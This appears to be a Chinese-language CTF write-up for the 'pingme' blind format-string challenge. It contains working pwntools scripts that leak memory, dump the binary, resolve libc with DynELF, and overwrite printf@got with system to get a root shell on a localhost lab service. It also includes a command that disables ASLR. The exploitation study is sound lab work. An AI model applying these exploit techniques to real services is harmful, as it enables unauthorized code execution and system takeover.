查看代码

void __cdecl __noreturn main()
{
  char format; // [sp+Ch] [bp-4Ch]@2
  int v1; // [sp+4Ch] [bp-Ch]@1

  v1 = *MK_FP(__GS__, 20);
  sub_80485D7();			//没用
  puts("Ping me");
  while ( 1 )
  {
    if ( sub_804858B(&format, 64) )		//最多输入64个字节,并返回长度
    {
      printf(&format);		//这个非常明显,是一个fmt
      putchar('\n');
    }
    else
    {
      puts(";( ");
    }
  }
}

size_t __cdecl sub_804858B(char *s, int n)
{
  char *v3; // [sp+Ch] [bp-Ch]@1

  fgets(s, n, stdin);		//从输入中读取n个字符,到s
  v3 = strchr(s, '\n');
  if ( v3 )
    *v3 = 0; 				//将结尾设置为0
  return strlen(s);			//返回长度
}

关于blind fmt

blind fmt 要求我们在没有二进制文件和 libc.so 的情况下进行漏洞利用,好在程序没有开启任何保护,利用很直接。利用方法如下

  • 利用信息泄露把程序从内存中dump下来
  • 使用 pwntools 的 DynELF 模块

关闭aslr

echo 0 > /proc/sys/kernel/randomize_va_space

checksec

python
>>> from pwn import *
>>> print ELF('pingme').checksec()
[*] '/root/sploitfun/pingme/pingme'
    Arch:     i386-32-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

开启服务

ncat -vc ./pingme -kl 127.0.0.1 4000

漏洞确认

nc 127.0.0.1 4000
Ping me
123
123
ABCD%7$x
ABCD44434241

编写exp确定fmt的offset

from pwn import *

def exec_fmt(payload):
   p.sendline(payload)
   info = p.recv()
   return info

p = remote('127.0.0.1', '4000')
p.recvline()
auto = FmtStr(exec_fmt)
offset = auto.offset
p.close()

结果

python offset_exp.py 
[+] Opening connection to 127.0.0.1 on port 4000: Done
[*] Found format string offset: 7
[*] Closed connection to 127.0.0.1 port 4000

下面我们把二进制文件dump一部分

#coding=utf-8
from pwn import *

def dump_memory(start_addr, end_addr):
   result = ""
   while start_addr < end_addr:
      p = remote('127.0.0.1', '4000')
      p.recvline()
      # print result.encode('hex')
      payload = "%9$s.AAA" + p32(start_addr)    #  把地址放在了后面,是为了防止 printf 的 %s 被 \x00 截断 ,另外 .AAA,是作为一个标志,我们需要的内存在 .AAA 的前面,最后,偏移由 7 变为 9
      p.sendline(payload)
      data = p.recvuntil(".AAA")[:-4]
      if data == "":
         data = "\x00"
      log.info("leaking: 0x%x --> %s" % (start_addr, data.encode('hex')))
      result += data
      start_addr += len(data)
      p.close()
   return result

start_addr = 0x8048000     #在没有开启 PIE 的情况下,32 位程序从地址 0x8048000 开始,0x1000 的大小就足够了
end_addr   = 0x8049000     #在没有开启 PIE 的情况下,32 位程序从地址 0x8048000 开始,0x1000 的大小就足够了
code_bin = dump_memory(start_addr, end_addr)
with open("code.bin", "wb") as f:
    f.write(code_bin)
    f.close()

使用DynELF获得function地址

from pwn import *

def leak(addr):
   p = remote('127.0.0.1', '4000')
   p.recvline()
   payload = "%9$s.AAA" + p32(addr)
   p.sendline(payload)
   data = p.recvuntil(".AAA")[:-4] + "\x00"
   log.info("leaking: 0x%x --> %s" % (addr, data.encode('hex')))
   p.close()
   return data

data = DynELF(leak, 0x08048490)  # Entry point address
system_addr = data.lookup('system', 'libc')
printf_addr = data.lookup('printf', 'libc')
log.info("system address: 0x%x" % system_addr)
log.info("printf address: 0x%x" % printf_addr)

最后结果

[*] system address: 0xf7e40f70
[*] printf address: 0xf7e505d0

或取各个地址之后编写exp

#!/usr/bin/env python

from pwn import *

payload = fmtstr_payload(7, {0x8049974: 0xf7e3ff70})	#{printf_got(存放的位置): system_addr}(就是将printf存放的值改为system_addr)
p = remote('127.0.0.1', '4000')
p.recvline()
p.sendline(payload)
p.recvline()
p.sendline('/bin/sh')
p.interactive()

查看发送了哪些内容

[DEBUG] Sent 0x3c bytes:
    00000000  74 99 04 08  75 99 04 08  76 99 04 08  77 99 04 08  鈹倀路路路鈹倁路路路鈹倂路路路鈹倃路路路鈹
    00000010  25 39 36 63  25 37 24 68  68 6e 25 31  34 33 63 25  鈹
    00000020  38 24 68 68  6e 25 32 32  38 63 25 39  24 68 68 6e  鈹.h鈹俷%22鈹.9鈹
    00000030  25 32 30 63  25 31 30 24  68 68 6e 0a               鈹
    0000003c

开头是 printf@got 地址,四个字节分别位于:

0x08049974
0x08049975
0x08049976
0x08049977

结果

python exp.py 
[+] Opening connection to 127.0.0.1 on port 4000: Done
[*] Switching to interactive mode
$ id
uid=0(root) gid=0(root) 组=0(root)

dump文件出现的问题:没弄明白怎么回事(0x804800A、0x804810A这种地址会报错),但是用这种方法可以解决,程序半成品

是因为\x0a 被当作换行符

# coding=utf-8
import time

from pwn import *


canshu = 0x8048000
p = remote('127.0.0.1', '4000')
raw_input('#')
result = ''
for i in range(1):
    try:
        time.sleep(0.1)
        p.recvline()
        payload = "%9$szzzz" + p32(0x804800a)
        canshu +=1
        p.sendline(payload)
	print 1
	print p.recvline().encode('hex')
	print 2
	print p.recvline().encode('hex')
	#print p.recvline()
#        data = p.recvuntil('zzzz')
#	print (data).encode('hex')
      #  if data == "":
       #     data = "\x00"
        #print data.encode('hex')
    except:
        #result += '\x00'
        #print '\00'.encode('hex')
	print canshu
        p = remote('127.0.0.1', '4000')

p.close()
# with open("code.bin", "wb") as f:
#     f.write(result)
#     f.close()
'''
...
0x804800A
0x804810A
0x804820A
0x804830A?
0x804840A
...
'''

结果

python b00kexp.py 
[+] Opening connection to 127.0.0.1 on port 4000: Done
#
1
0c240fbe4a018d51d080fa09777c8b54240289c58d74267a7a7a7a0a
2
8004080a
[*] Closed connection to 127.0.0.1 port 4000